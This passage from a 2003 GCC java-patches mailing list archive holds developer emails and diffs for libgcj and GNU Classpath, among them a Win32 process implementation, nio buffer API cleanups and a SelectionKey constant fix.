-166,7 +166,7 @@ * * @exception IOException If an error occurs */ - public void close() + public void close() throws IOException { // A close call on an unconnected PipedWriter has no effect. if (sink != null) Index: java/io/StringWriter.java =================================================================== RCS file: /cvsroot/classpath/classpath/java/io/StringWriter.java,v retrieving revision 1.4 diff -u -r1.4 StringWriter.java --- java/io/StringWriter.java 22 Jan 2002 22:26:59 -0000 1.4 +++ java/io/StringWriter.java 4 Feb 2003 20:53:49 -0000 @@ -1,5 +1,5 @@ /* StringWriter.java -- Writes bytes to a StringBuffer - Copyright (C) 1998, 1999, 2000, 2001 Free Software Foundation, Inc. + Copyright (C) 1998, 1999, 2000, 2001, 2003 Free Software Foundation, Inc. This file is part of GNU Classpath. @@ -61,7 +61,7 @@ * This method closes the stream. The contents of the internal buffer * can still be retrieved, but future writes are not guaranteed to work. */ - public void close () + public void close () throws IOException { // JCL says this does nothing. This seems to violate the Writer // contract, in that other methods should still throw an From java-patches-return-6017-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Wed Feb 05 00:31:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5694 invoked by alias); 5 Feb 2003 00:31:59 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 5687 invoked from network); 5 Feb 2003 00:31:58 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by 172.16.49.205 with SMTP; 5 Feb 2003 00:31:58 -0000 Received: (from weigand@localhost) by faui11.informatik.uni-erlangen.de (8.9.1/8.1.4-FAU) id BAA05405; Wed, 5 Feb 2003 01:31:54 +0100 (MET) From: Ulrich Weigand Message-Id: <200302050031.BAA05405@faui11.informatik.uni-erlangen.de> Subject: Re: [PATCH] Fix Jacks testsuite invocation To: tromey@redhat.com Date: Wed, 5 Feb 2003 01:31:53 +0100 (MET) Cc: weigand@immd1.informatik.uni-erlangen.de (Ulrich Weigand), java-patches@gcc.gnu.org In-Reply-To: <87u1fklad5.fsf@fleche.redhat.com> from "Tom Tromey" at Feb 04, 2003 01:26:46 AM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Tom Tromey wrote: > >>>>> "Ulrich" == Ulrich Weigand writes: > > Ulrich> The majority of the errors turned out to be another setup problem > Ulrich> apparently, as they go away when . is added to the CLASSPATH. > > I wonder why I don't see these. Your setup must be different, because it apparently worked for you with an empty CLASSPATH. I couldn't run Jacks at all without setting CLASSPATH to find libgcj-3.4.jar. Interestingly enough, this piece in _set_classpath in jacks.tcl omits adding . to the CLASSPATH if it is empty: # If adddot is true, then append . to the CLASSPATH if {$CLASSPATH != "" && $adddot} { append CLASSPATH ${PATH_SEP} append CLASSPATH . } Does an empty CLASSPATH have some special meaning? Bye, Ulrich -- Dr. Ulrich Weigand weigand@informatik.uni-erlangen.de From java-patches-return-6018-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Thu Feb 06 20:16:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22271 invoked by alias); 6 Feb 2003 20:16:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22264 invoked from network); 6 Feb 2003 20:16:48 -0000 Received: from unknown (HELO main.gmane.org) (80.91.224.249) by 172.16.49.205 with SMTP; 6 Feb 2003 20:16:48 -0000 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18gsPx-00010z-00 for ; Thu, 06 Feb 2003 21:14:41 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: java-patches@gcc.gnu.org Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18gsPw-00010q-00 for ; Thu, 06 Feb 2003 21:14:40 +0100 From: Ranjit Mathew Subject: Patch: Win32 Process Implementation Date: Fri, 07 Feb 2003 01:48:44 +0530 Lines: 452 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@main.gmane.org User-Agent: Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.2.1) Gecko/20021130 X-Accept-Language: en-us, en Hi, Here is a simple implementation of java.lang.Process for Win32. It works for simple test cases and well enough to produce symbolic information in stacktraces via addr2line and c++filt, the need for which in fact prompted this effort in the first place! It uses anonymous pipes to redirect the standard streams of the spawned child process. A few things to be noted: 1. The current Win32Process.java says that we must remember to make handles non-inheritable when we implement this. AFAICT, Win32 handles by default are non-inheritable unless explicitly made so (which we are not doing), so this does not apply. 2. ReadFile( ) on Win32 gives an ERROR_BROKEN_PIPE when the parent process is reading from the child's output/error streams and the child exits, unlike read( ) on Unix which simply indicates an EOF. This causes an IOException in GCJ, which does not happen BTW, in Sun's JDK. I would suggest that we modify natFileDescriptorWin32.cc to return -1 (EOF) in read( ) when it encounters an ERROR_BROKEN_PIPE on a ReadFile( ), to avoid this error. 3. As noted in the JavaDoc for Process in Sun's JDK as well, this does not work well for non-console Win32 or DOS/Win16 applications. Finally, Tom I hope this patch's format is acceptable to you. Since I do not use CVS, the "Index: " lines have been generated by the same script that produces the diffs and there aren't the "diff" and "RCS" lines after the "Index: " lines that are generated by CVS. However, I think that should not have a negative impact. Ranjit. Index: ChangeLog from Ranjit Mathew * java/lang/Win32Process.java (destroy): Declare as native. (hasExited): New native method. (exitValue): Define. (getErrorStream): Likewise. (getInputStream): Likewise. (getOutputStream): Likewise. (waitFor): Declare as native. (startProcess): New native method. (cleanup): Likewise. (ConcreteProcess): Define. (outputStream, inputStream, errorStream): New members. (procHandle, exitCode): Likewise. * java/lang/natWin32Process.cc (java::lang::ConcreteProcess::cleanup): Define. (java::lang::ConcreteProcess::destroy): Likewise. (java::lang::ConcreteProcess::hasExited): Likewise. (java::lang::ConcreteProcess::waitFor): Likewise. (new_string): Likewise. (java::lang::ConcreteProcess::startProcess): Likewise. Index: java/lang/Win32Process.java =================================================================== --- java/lang/Win32Process.java 2003-02-04 06:19:36.000000000 +0530 +++ java/lang/Win32Process.java 2003-02-06 23:14:38.000000000 +0530 @@ -1,5 +1,5 @@ // Win32Process.java - Subclass of Process for Win32 systems. -/* Copyright (C) 2002 Free Software Foundation +/* Copyright (C) 2002, 2003 Free Software Foundation This file is part of libgcj. @@ -23,42 +23,43 @@ // This is entirely internal to our implementation. -// NOTE: when this is implemented, we'll need to add -// HANDLE_FLAG_INHERIT in FileDescriptor and other places, to make -// sure that file descriptors aren't inherited by the child process. -// See _Jv_platform_close_on_exec. - // This file is copied to `ConcreteProcess.java' before compilation. // Hence the class name apparently does not match the file name. final class ConcreteProcess extends Process { - public void destroy () - { - throw new Error("not implemented"); - } - + public native void destroy (); + + public native boolean hasExited (); + public int exitValue () { - throw new Error("not implemented"); + if (! hasExited ()) + throw new IllegalThreadStateException ("Process has not exited"); + + return exitCode; } public InputStream getErrorStream () { - throw new Error("not implemented"); + return errorStream; } public InputStream getInputStream () { - throw new Error("not implemented"); + return inputStream; } public OutputStream getOutputStream () { - throw new Error("not implemented"); + return outputStream; } - public int waitFor () throws InterruptedException - { - throw new Error("not implemented"); - } + public native int waitFor () throws InterruptedException; + + public native void startProcess (String[] progarray, + String[] envp, + File dir) + throws IOException; + + public native void cleanup (); public ConcreteProcess (String[] progarray, @@ -67,6 +68,17 @@ throws IOException { - throw new IOException("not implemented"); + startProcess (progarray, envp, dir); } + // The standard streams (stdin, stdout and stderr, respectively) + // of the child as seen by the parent process. + private OutputStream outputStream; + private InputStream inputStream; + private InputStream errorStream; + + // Handle to the child process - cast to HANDLE before use. + private int procHandle; + + // Exit code of the child if it has exited. + private int exitCode; } Index: java/lang/natWin32Process.cc =================================================================== --- java/lang/natWin32Process.cc 2003-02-04 06:28:55.000000000 +0530 +++ java/lang/natWin32Process.cc 2003-02-07 01:28:23.000000000 +0530 @@ -0,0 +1,294 @@ +// natWin32Process.cc - Native side of Win32 process code. + +/* Copyright (C) 2003 Free Software Foundation + + This file is part of libgcj. + +This software is copyrighted work licensed under the terms of the +Libgcj License. Please consult the file "LIBGCJ_LICENSE" for +details. */ + +#include + +#include + +#define WIN32_LEAN_AND_MEAN +#include + +// Conflicts with the definition in "java/lang/reflect/Modifier.h" +#undef STRICT + +#include +#include + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +void +java::lang::ConcreteProcess::cleanup (void) +{ + if (inputStream != NULL) + { + inputStream->close (); + inputStream = NULL; + } + + if (outputStream != NULL) + { + outputStream->close (); + outputStream = NULL; + } + + if (errorStream != NULL) + { + errorStream->close (); + errorStream = NULL; + } +} + +void +java::lang::ConcreteProcess::destroy (void) +{ + if (! hasExited ()) + { + // Kill it forcibly and assign an (arbitrary) exit code of 0. + TerminateProcess ((HANDLE) procHandle, 0); + exitCode = 0; + + cleanup (); + } +} + +jboolean +java::lang::ConcreteProcess::hasExited (void) +{ + DWORD exitStatus; + + if (GetExitCodeProcess ((HANDLE) procHandle, &exitStatus) != 0) + { + // NOTE: STILL_ACTIVE is defined as "259" by Win32 - if the + // child actually exits with this return code, we have a + // problem here. See MSDN documentation on GetExitCodeProcess( ). + + if (exitStatus == STILL_ACTIVE) + return false; + else + { + cleanup (); + exitCode = exitStatus; + return true; + } + } + else + return true; +} + +jint +java::lang::ConcreteProcess::waitFor (void) +{ + if (! hasExited ()) + { + DWORD exitStatus = 0UL; + + // FIXME: The wait should be interruptible. + WaitForSingleObject ((HANDLE) procHandle, INFINITE); + + GetExitCodeProcess ((HANDLE) procHandle, &exitStatus); + exitCode = exitStatus; + + cleanup (); + } + + return exitCode; +} + +static char * +new_string (jstring string) +{ + jsize s = _Jv_GetStringUTFLength (string); + char *buf = (char *) _Jv_Malloc (s + 1); + _Jv_GetStringUTFRegion (string, 0, s, buf); + buf[s] = '\0'; + return buf; +} + +void +java::lang::ConcreteProcess::startProcess (jstringArray progarray, + jstringArray envp, + java::io::File *dir) +{ + using namespace java::io; + + procHandle = (jint) INVALID_HANDLE_VALUE; + + // Reconstruct the command line. + jstring *elts = elements (progarray); + + int cmdLineLen = 0; + + for (int i = 0; i < progarray->length; ++i) + cmdLineLen += (_Jv_GetStringUTFLength (elts[i]) + 1); + + char *cmdLine = (char *) _Jv_Malloc (cmdLineLen + 1); + + int j = 0; + for (int i = 0; i < progarray->length; ++i) + { + jsize s = _Jv_GetStringUTFLength (elts[i]); + _Jv_GetStringUTFRegion (elts[i], 0, s, (cmdLine + j)); + + j += s; + *(cmdLine + j) = ' '; + j++; + } + *(cmdLine + j) = '\0'; + + // Get the environment, if any. + char *env = NULL; + if (envp) + { + elts = elements (envp); + + int envLen = 0; + for (int i = 0; i < envp->length; ++i) + envLen += (_Jv_GetStringUTFLength (elts[i]) + 1); + + env = (char *) _Jv_Malloc (envLen + 1); + + int j = 0; + for (int i = 0; i < envp->length; ++i) + { + jsize s = _Jv_GetStringUTFLength (elts[i]); + _Jv_GetStringUTFRegion (elts[i], 0, s, (env + j)); + + j += s; + *(env + j) = '\0'; + j++; + } + *(env + j) = '\0'; + } + + // Get the working directory path, if specified. + char *wdir = NULL; + if (dir != NULL) + wdir = new_string (dir->getPath ()); + + errorStream = NULL; + inputStream = NULL; + outputStream = NULL; + + java::lang::Throwable *exc = NULL; + + try + { + // We create anonymous pipes to communicate with the child + // on each of standard streams. + + HANDLE cldStdInRd, cldStdInWr; + HANDLE cldStdOutRd, cldStdOutWr; + HANDLE cldStdErrRd, cldStdErrWr; + + SECURITY_ATTRIBUTES sAttrs; + + // Explicitly allow the handles to the pipes to be inherited. + sAttrs.nLength = sizeof (SECURITY_ATTRIBUTES); + sAttrs.bInheritHandle = 1; + sAttrs.lpSecurityDescriptor = NULL; + + + char tmpBuff[64]; + if (CreatePipe (&cldStdInRd, &cldStdInWr, &sAttrs, 0) == 0) + { + sprintf (tmpBuff, + "Error creating stdin pipe (Win32 Error Code: %lu)", + GetLastError ()); + throw new IOException (JvNewStringLatin1 (tmpBuff)); + } + + if (CreatePipe (&cldStdOutRd, &cldStdOutWr, &sAttrs, 0) == 0) + { + sprintf (tmpBuff, + "Error creating stdout pipe (Win32 Error Code: %lu)", + GetLastError ()); + throw new IOException (JvNewStringLatin1 (tmpBuff)); + } + + if (CreatePipe (&cldStdErrRd, &cldStdErrWr, &sAttrs, 0) == 0) + { + sprintf (tmpBuff, + "Error creating stderr pipe (Win32 Error Code: %lu)", + GetLastError ()); + throw new IOException (JvNewStringLatin1 (tmpBuff)); + } + + outputStream = new FileOutputStream + (new FileDescriptor ((jint) cldStdInWr)); + inputStream = new FileInputStream + (new FileDescriptor ((jint) cldStdOutRd)); + errorStream = new FileInputStream + (new FileDescriptor ((jint) cldStdErrRd)); + + // Now create the child process. + PROCESS_INFORMATION pi; + STARTUPINFO si; + + ZeroMemory (&pi, sizeof (PROCESS_INFORMATION)); + + ZeroMemory (&si, sizeof (STARTUPINFO)); + si.cb = sizeof (STARTUPINFO); + + // Explicitly specify the handles to the standard streams. + si.dwFlags |= STARTF_USESTDHANDLES; + + si.hStdInput = cldStdInRd; + si.hStdOutput = cldStdOutWr; + si.hStdError = cldStdErrWr; + + if (CreateProcess (NULL, + cmdLine, + NULL, + NULL, + 1, + 0, + env, + wdir, + &si, + &pi) == 0) + { + sprintf (tmpBuff, + "Error creating child process (Win32 Error Code: %lu)", + GetLastError ()); + throw new IOException (JvNewStringLatin1 (tmpBuff)); + } + + procHandle = (jint ) pi.hProcess; + + // Close the wrong ends (for the parent) of the pipes. + CloseHandle (cldStdInRd); + CloseHandle (cldStdOutWr); + CloseHandle (cldStdErrWr); + + _Jv_Free (cmdLine); + if (env != NULL) + _Jv_Free (env); + if (wdir != NULL) + _Jv_Free (wdir); + } + catch (java::lang::Throwable *thrown) + { + cleanup (); + exc = thrown; + } + + if (exc != NULL) + throw exc; +} From java-patches-return-6019-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 05:46:07 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19435 invoked by alias); 7 Feb 2003 05:46:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19425 invoked from network); 7 Feb 2003 05:46:05 -0000 Received: from unknown (HELO mail02.agrinet.ch) (212.28.134.115) by 172.16.49.205 with SMTP; 7 Feb 2003 05:46:05 -0000 Received: from pop.agri.ch (217.162.33.222) by mail02.agrinet.ch (7.0.008) (authenticated as toa@pop.agri.ch) id 3E4318FD00000BBD; Fri, 7 Feb 2003 06:45:56 +0100 Message-ID: <3E434813.1000608@pop.agri.ch> Date: Fri, 07 Feb 2003 06:45:55 +0100 From: Andreas Tobler User-Agent: Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US; rv:1.3a) Gecko/20021212 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Boehm, Hans" CC: java-patches Subject: [PATCH] undef MPROTECT_VDB for darwin? Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello Hans, may I apply the following patch to gcc 3.3 and 3.4? Or do you plan to import the latest sources soon? I vaguely remember that you don't do so on 3.3? It would make darwin build libgcj with less problems. Thanks, Andreas RCS file: /cvs/gcc/gcc/boehm-gc/include/private/gcconfig.h,v retrieving revision 1.26 diff -u -r1.26 gcconfig.h --- include/private/gcconfig.h 2 Oct 2002 06:25:37 -0000 1.26 +++ include/private/gcconfig.h 7 Feb 2003 05:40:56 -0000 @@ -685,7 +685,7 @@ # define DATASTART ((ptr_t) get_etext()) # define STACKBOTTOM ((ptr_t) 0xc0000000) # define DATAEND /* not needed */ -# define MPROTECT_VDB +# undef MPROTECT_VDB # include # define GETPAGESIZE() getpagesize() # endif From java-patches-return-6020-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 10:34:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25999 invoked by alias); 7 Feb 2003 10:34:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25963 invoked from network); 7 Feb 2003 10:34:21 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 7 Feb 2003 10:34:21 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-057.ewetel.net [80.228.74.57]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h17AYJbq006252 for ; Fri, 7 Feb 2003 11:34:20 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio.channels.SelectionKey Date: Fri, 7 Feb 2003 11:28:12 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_8o4Q+VJ126Es9aX" Message-Id: <200302071128.16738.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_8o4Q+VJ126Es9aX Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have corrected the constants in java.nio.channels.SelectionKey to=20 match the ones of SUN. Please review and comment. Tom: If this apllies to the 3.3 branch too, please commit it there. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Q4pAWSOgCCdjSDsRAuQGAJ9FfeJ8gxlzcPZX2EOpkcSDvzhr2wCgjlip nMrtS9BPk4XVBx0yD9jvezs=3D =3DKGUt =2D----END PGP SIGNATURE----- --Boundary-00=_8o4Q+VJ126Es9aX Content-Type: text/x-diff; charset="iso-8859-15"; name="java.nio.channels.SelectionKey.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java.nio.channels.SelectionKey.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1663 diff -u -r1.1663 ChangeLog --- ChangeLog 4 Feb 2003 21:07:15 -0000 1.1663 +++ ChangeLog 7 Feb 2003 10:20:25 -0000 @@ -1,3 +1,9 @@ +2003-02-07 Michael Koch + + * java/nio/channels/SelectionKey.java + (OP_ACCEPT, OP_CONNECT, OP_READ, OP_WRITE): Initialize with correct + values. + 2003-02-04 Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing Index: java/nio/channels/SelectionKey.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/channels/SelectionKey.java,v retrieving revision 1.4 diff -u -r1.4 SelectionKey.java --- java/nio/channels/SelectionKey.java 20 Nov 2002 16:19:08 -0000 1.4 +++ java/nio/channels/SelectionKey.java 7 Feb 2003 10:20:25 -0000 @@ -43,10 +43,10 @@ */ public abstract class SelectionKey { - public static final int OP_ACCEPT = 1<<0; - public static final int OP_CONNECT = 1<<1; - public static final int OP_READ = 1<<2; - public static final int OP_WRITE = 1<<3; + public static final int OP_ACCEPT = 16; + public static final int OP_CONNECT = 8; + public static final int OP_READ = 1; + public static final int OP_WRITE = 4; Object attached; --Boundary-00=_8o4Q+VJ126Es9aX-- From java-patches-return-6024-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 07 10:34:28 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 26241 invoked by alias); 7 Feb 2003 10:34:28 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 26225 invoked from network); 7 Feb 2003 10:34:27 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.10) by 172.16.49.205 with SMTP; 7 Feb 2003 10:34:27 -0000 Received: from 192.168.1.3 (dynadsl-080-228-74-057.ewetel.net [80.228.74.57]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h17AYJc0006252 for ; Fri, 7 Feb 2003 11:34:24 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] java.nio - *Buffer cleanup Date: Fri, 7 Feb 2003 11:34:12 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Message-Id: <200302071132.27721.konqueror@gmx.de> Content-Type: Multipart/Mixed; boundary="Boundary-00=_ku4Q++GM87fknsx" X-CheckCompat: OK --Boundary-00=_ku4Q++GM87fknsx Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: 7bit Content-Description: clearsigned data Content-Disposition: inline -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I have cleaned up the buffer classes in java.nio to match the API from SUN. These classes are currently not compiled (in CVS). So changes make no troubles. Please review and comment. Michael - -- Homepage: http://www.worldforge.org/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+Q4ukWSOgCCdjSDsRArGnAJ0UzIlbQ0XkQswMHJ/jEKGs8iw35gCfSZUt PGlOg8u05wrQLRP0uUSjnRc= =LGHY -----END PGP SIGNATURE----- --Boundary-00=_ku4Q++GM87fknsx Content-Type: text/x-diff; charset="iso-8859-15"; name="java.nio-buffers-cleanup.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="java.nio-buffers-cleanup.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1663 diff -u -r1.1663 ChangeLog --- ChangeLog 4 Feb 2003 21:07:15 -0000 1.1663 +++ ChangeLog 7 Feb 2003 10:24:14 -0000 @@ -1,3 +1,71 @@ +2003-02-07 Michael Koch + + * java/nio/DoubleBuffer.java + (DoubleBuffer): Implements Comparable. + (endian): Removed. + (array_offset): New member variable. + (DoubleBuffer): New constuctor. + (get): May not be final. + (put): May not be final. + (arrayOffset): Implemented. + (order): Made abstract. + (order): Removed. + (as*Buffer): Removed. + (get*): Removed. + (put*): Removed. + * java/nio/FloatBuffer.java + (FloatBuffer): Implements Comparable. + (endian): Removed. + (array_offset): New member variable. + (FloatBuffer): New constuctor. + (get): May not be final. + (put): May not be final. + (arrayOffset): Implemented. + (order): Made abstract. + (order): Removed. + (as*Buffer): Removed. + (get*): Removed. + (put*): Removed. + * java/nio/IntBuffer.java + (IntBuffer): Implements Comparable. + (endian): Removed. + (array_offset): New member variable. + (IntBuffer): New constuctor. + (get): May not be final. + (put): May not be final. + (arrayOffset): Implemented. + (order): Made abstract. + (order): Removed. + (as*Buffer): Removed. + (get*): Removed. + (put*): Removed. + * java/nio/LongBuffer.java + (LongBuffer): Implements Comparable. + (endian): Removed. + (array_offset): New member variable. + (LongBuffer): New constuctor. + (get): May not be final. + (put): May not be final. + (arrayOffset): Implemented. + (order): Made abstract. + (order): Removed. + (as*Buffer): Removed. + (get*): Removed. + (put*): Removed. + * java/nio/ShortBuffer.java + (ShortBuffer): Implements Comparable. + (endian): Removed. + (array_offset): New member variable. + (ShortBuffer): New constuctor. + (get): May not be final. + (put): May not be final. + (arrayOffset): Implemented. + (order): Made abstract. + (order): Removed. + (as*Buffer): Removed. + (get*): Removed. + (put*): Removed. + 2003-02-04 Tom Tromey * java/io/PipedOutputStream.java (flush): Declare as throwing Index: java/nio/DoubleBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/DoubleBuffer.java,v retrieving revision 1.1 diff -u -r1.1 DoubleBuffer.java --- java/nio/DoubleBuffer.java 18 Nov 2002 13:56:58 -0000 1.1 +++ java/nio/DoubleBuffer.java 7 Feb 2003 10:24:14 -0000 @@ -39,10 +39,10 @@ import gnu.java.nio.DoubleBufferImpl; -public abstract class DoubleBuffer extends Buffer +public abstract class DoubleBuffer extends Buffer implements Comparable { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; protected double [] backing_buffer; + protected int array_offset; public static DoubleBuffer allocateDirect(int capacity) { @@ -77,7 +77,12 @@ return wrap(array, 0, array.length); } - final public DoubleBuffer get (double[] dst, int offset, int length) + DoubleBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + } + + public DoubleBuffer get (double[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -87,12 +92,12 @@ return this; } - final public DoubleBuffer get(double[] dst) + public DoubleBuffer get (double[] dst) { return get(dst, 0, dst.length); } - final public DoubleBuffer put(DoubleBuffer src) + public DoubleBuffer put (DoubleBuffer src) { while (src.hasRemaining()) put(src.get()); @@ -100,7 +105,7 @@ return this; } - final public DoubleBuffer put (double[] src, int offset, int length) + public DoubleBuffer put (double[] src, int offset, int length) { for (int i = offset; i < offset + length; i++) put(src[i]); @@ -125,7 +130,7 @@ public final int arrayOffset() { - return 0; + return array_offset; } public int hashCode() @@ -172,17 +177,7 @@ return 0; } - public final ByteOrder order() - { - return endian; - } - - public final DoubleBuffer order(ByteOrder bo) - { - endian = bo; - return this; - } - + public abstract ByteOrder order (); public abstract double get(); public abstract DoubleBuffer put (double b); public abstract double get(int index); @@ -192,34 +187,4 @@ public abstract DoubleBuffer slice(); public abstract DoubleBuffer duplicate(); public abstract DoubleBuffer asReadOnlyBuffer(); - public abstract ShortBuffer asShortBuffer(); - public abstract CharBuffer asCharBuffer(); - public abstract IntBuffer asIntBuffer(); - public abstract LongBuffer asLongBuffer(); - public abstract FloatBuffer asFloatBuffer(); - public abstract DoubleBuffer asDoubleBuffer(); - public abstract char getChar(); - public abstract DoubleBuffer putChar(char value); - public abstract char getChar(int index); - public abstract DoubleBuffer putChar(int index, char value); - public abstract short getShort(); - public abstract DoubleBuffer putShort(short value); - public abstract short getShort(int index); - public abstract DoubleBuffer putShort(int index, short value); - public abstract int getInt(); - public abstract DoubleBuffer putInt(int value); - public abstract int getInt(int index); - public abstract DoubleBuffer putInt(int index, int value); - public abstract long getLong(); - public abstract DoubleBuffer putLong(long value); - public abstract long getLong(int index); - public abstract DoubleBuffer putLong(int index, long value); - public abstract float getFloat(); - public abstract DoubleBuffer putFloat(float value); - public abstract float getFloat(int index); - public abstract DoubleBuffer putFloat(int index, float value); - public abstract double getDouble(); - public abstract DoubleBuffer putDouble(double value); - public abstract double getDouble(int index); - public abstract DoubleBuffer putDouble(int index, double value); } Index: java/nio/FloatBuffer.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/nio/FloatBuffer.java,v retrieving revision 1.1 diff -u -r1.1 FloatBuffer.java --- java/nio/FloatBuffer.java 18 Nov 2002 13:56:58 -0000 1.1 +++ java/nio/FloatBuffer.java 7 Feb 2003 10:24:14 -0000 @@ -39,10 +39,10 @@ import gnu.java.nio.FloatBufferImpl; -public abstract class FloatBuffer extends Buffer +public abstract class FloatBuffer extends Buffer implements Comparable { - private ByteOrder endian = ByteOrder.BIG_ENDIAN; protected float [] backing_buffer; + protected int array_offset; public static FloatBuffer allocateDirect(int capacity) { @@ -77,7 +77,13 @@ return wrap(array, 0, array.length); } - final public FloatBuffer get(float[] dst, int offset, int length) + FloatBuffer (int capacity, int limit, int position, int mark) + { + super (capacity, limit, position, mark); + array_offset = 0; + } + + public FloatBuffer get (float[] dst, int offset, int length) { for (int i = offset; i < offset + length; i++) { @@ -87,12 +93,12 @@ return this; } - final public FloatBuffer get(float[] dst) + public FloatBuffer get (float[] dst) { return get(dst, 0, dst.length); } - final public FloatBuffer put(FloatBuffer src) + public FloatBuffer put (FloatBuffer src) { while (src.hasRemaining()) put(src.get()); @@ -100,7 +106,7 @@ return this; } - final public FloatBuffer put(float[] src, int offset, int length) + public FloatBuffer put (float[] src, int offset, int length) { for (int i = offset; i < offset + length; i++) put(src[i]); @@ -125,7 +131,7 @@ public final int arrayOffset() { - return 0; + return array_offset; } public int hashCode() @@ -139,6 +145,7 @@ { return compareTo(obj) == 0; } + return false; } @@ -171,17 +178,7 @@ return 0; } - public final ByteOrder order() - { - return endian; - } - - public final FloatBuffer order(ByteOrder bo) - { - endian = bo; - return this; - } - + public abstract ByteOrder order (); public abstract float get(); public abstract java.nio. FloatBuffer put(float b); public abstract float get(int index); @@ -191,34 +188,4 @@ public abstract FloatBuffer slice(); public abstract FloatBuffer duplicate(); public abstract FloatBuffer asReadOnlyBuffer(); - public abstract ShortBuffer asShortBuffer(); - public abstract CharBuffer asCharBuffer(); - public abstract IntBuffer asIntBuffer(); - public abstract LongBuffer asLongBuffer(); - public abstract FloatBuffer asFloatBuffer(); - public abstract DoubleBuffer asDoubleBuffer(); - public abstract char getChar(); - public abstract FloatBuffer putChar(char value); - public abstract char getChar(int index); - public abstract FloatBuffer putChar(int index, char value); - public abstract short getShort(); - public abstract FloatBuffer putShort(short value); - public abstract short getShort(int index); - public abstract FloatBuffer putShort(int index, short value); - public abstract int getInt(); - public abstract FloatBuffer putInt(int value); - public abstract int getInt(int index); - public abstract FloatBuffer putInt(int index, int value); - public abstract long getLong(); - public abstract FloatBuffer putLong(long value); - public abstract long getLong(int index); - public abstract FloatBuffer putLong(int index, long value); - public abstract float getFloat(); - public abstract FloatBuffer putFloat(float value); - public abstract float getFloat(int index); - public abstract FloatBuffer putFloat(int index, float value); - public abstract double getDouble(); - public abstract FloatBuffer putDouble(double value); - public abstract double getDouble(int index); - public abstract 